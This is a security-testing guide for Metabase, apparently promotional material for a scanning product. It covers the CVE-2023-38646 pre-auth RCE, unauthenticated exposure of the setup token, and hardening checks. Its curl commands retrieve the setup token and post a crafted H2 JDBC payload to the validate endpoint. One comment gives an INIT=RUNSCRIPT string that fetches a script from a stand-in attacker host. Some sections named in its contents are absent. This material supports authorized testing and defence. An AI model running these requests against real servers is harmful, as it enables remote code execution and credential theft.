Metabase Security Testing: CVE-2023-38646 Pre-Auth RCE, H2 Database Credentials, and Default Setup Token Exposure

Metabase is one of the most widely deployed open-source business intelligence tools, used by thousands of companies to provide self-service analytics. CVE-2023-38646 is a critical pre-authentication remote code execution vulnerability affecting Metabase open-source before version 0.46.6.1 and Metabase Enterprise before 1.46.6.1 — an unauthenticated attacker sends a crafted POST request to /api/setup/validate containing a malicious H2 database JDBC connection string with an INIT directive that executes arbitrary commands on the host operating system, without requiring any credentials; the setup token required for this endpoint is exposed at /api/session/properties which is accessible without authentication; beyond the CVE, Metabase's application database stores connected data source credentials in a recoverable format, public dashboard sharing can expose sensitive analytics data without authentication, and Metabase's question/native query editor allows SQL execution against all connected databases using the permissions of the database service account. This guide covers systematic Metabase security assessment.

Table of Contents

  1. Metabase Discovery and Version Identification
  2. CVE-2023-38646 Pre-Auth RCE Testing
  3. Setup Token Exposure
  4. Database Credential Recovery
  5. Public Dashboard and Sharing Exposure
  6. Metabase Security Hardening

Metabase Discovery and Version Identification

# Metabase typically runs on port 3000 (default) or behind a reverse proxy on 80/443
# Version exposed unauthenticated at /api/session/properties

# Get Metabase version (no auth required)
curl -s http://metabase.example.com:3000/api/session/properties 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
version = data.get('version', {})
print(f\"Metabase version: {version.get('tag','?')}\")
print(f\"Build date: {version.get('date','?')}\")
# Check for CVE-2023-38646 vulnerable versions
tag = version.get('tag', '')
print(f'CVE-2023-38646 check: version {tag}')
" 2>/dev/null

# CVE-2023-38646 affects:
# Open-source: < 0.46.6.1 (also 0.44.x < 0.44.7.1, 0.45.x < 0.45.4.1)
# Enterprise:  < 1.46.6.1 (also 1.44.x < 1.44.7.1, 1.45.x < 1.45.4.1)

CVE-2023-38646 Pre-Auth RCE Testing

Important: The following demonstrates vulnerability detection for authorized security testing only. CVE-2023-38646 was widely exploited by threat actors in 2023 to gain initial access to corporate networks. Only test against systems you have explicit written authorization to test.
# Step 1: Retrieve the setup token from /api/session/properties (no auth required)
SETUP_TOKEN=$(curl -s http://metabase.example.com:3000/api/session/properties 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
token = data.get('setup-token')
if token:
    print(token)
    print(f'Setup token found: {token}', file=__import__(\"sys\").stderr)
else:
    print('No setup token — setup already completed or patched', file=__import__(\"sys\").stderr)
" 2>/dev/null)

# Step 2: Check if the vulnerable endpoint accepts the token
# /api/setup/validate processes H2 JDBC connections that can execute OS commands
# via INIT= parameter in the connection string
# The JDBC URL format that triggers RCE:
# jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://attacker.com/rce.sql'

# Detection payload (safe — uses a non-executing INIT that only causes a connection error)
if [ -n "$SETUP_TOKEN" ]; then
  RESPONSE=$(curl -s -X POST \
    http://metabase.example.com:3000/api/setup/validate \
    -H "Content-Type: application/json" \
    -d "{
      \"token\": \"${SETUP_TOKEN}\",
      \"details\": {
        \"is_on_demand\": false,
        \"is_full_sync\": false,
        \"is_sample\": false,
        \"cache_ttl\": null,
        \"refingerprint\": false,
        \"auto_run_queries\": true,
        \"schedules\": {},
        \"details\": {
          \"db\": \"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=0\",
          \"advanced-options\": false,
          \"ssl\": true
        },
        \"name\": \"test\",
        \"engine\": \"h2\"
      }
    }" 2>/dev/null)
  echo "Response code indicates: $(echo $RESPONSE | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('message','?')[:100])" 2>/dev/null)"
fi

Metabase Security Hardening

Metabase Security Hardening Checklist:
Security TestMethodRisk
CVE-2023-38646 pre-auth RCE (unpatched version)GET /api/session/properties — check version tag against vulnerable ranges; POST /api/setup/validate with crafted H2 JDBC URLCritical
Setup token exposed pre-completionGET /api/session/properties — setup-token field present means setup incomplete and /api/setup/validate is activeCritical
Public dashboards expose sensitive dataGET /api/public/dashboard/{uuid} — enumerable via share links; reveals full query results without authenticationHigh
Database credentials recoverable from app DBAccess Metabase application database — query data_sources table for connected database credentialsHigh
Native SQL query execution by non-adminsAuthenticated as analyst — test if native SQL mode allows schema enumeration and data extraction beyond question scopeMedium
Default admin password weaknessInitial setup accepts any password — test common weak passwords if admin setup was done hastilyMedium

Automate Metabase Security Testing

Ironimo tests Metabase deployments for CVE-2023-38646 pre-authentication RCE by detecting vulnerable version ranges and setup token exposure at /api/session/properties, public dashboard and question sharing providing unauthenticated access to sensitive analytics data, native SQL query access exceeding the intended scope of connected database users, weak or default admin credentials on initial Metabase setups, and session management weaknesses enabling token replay attacks.

Start free scan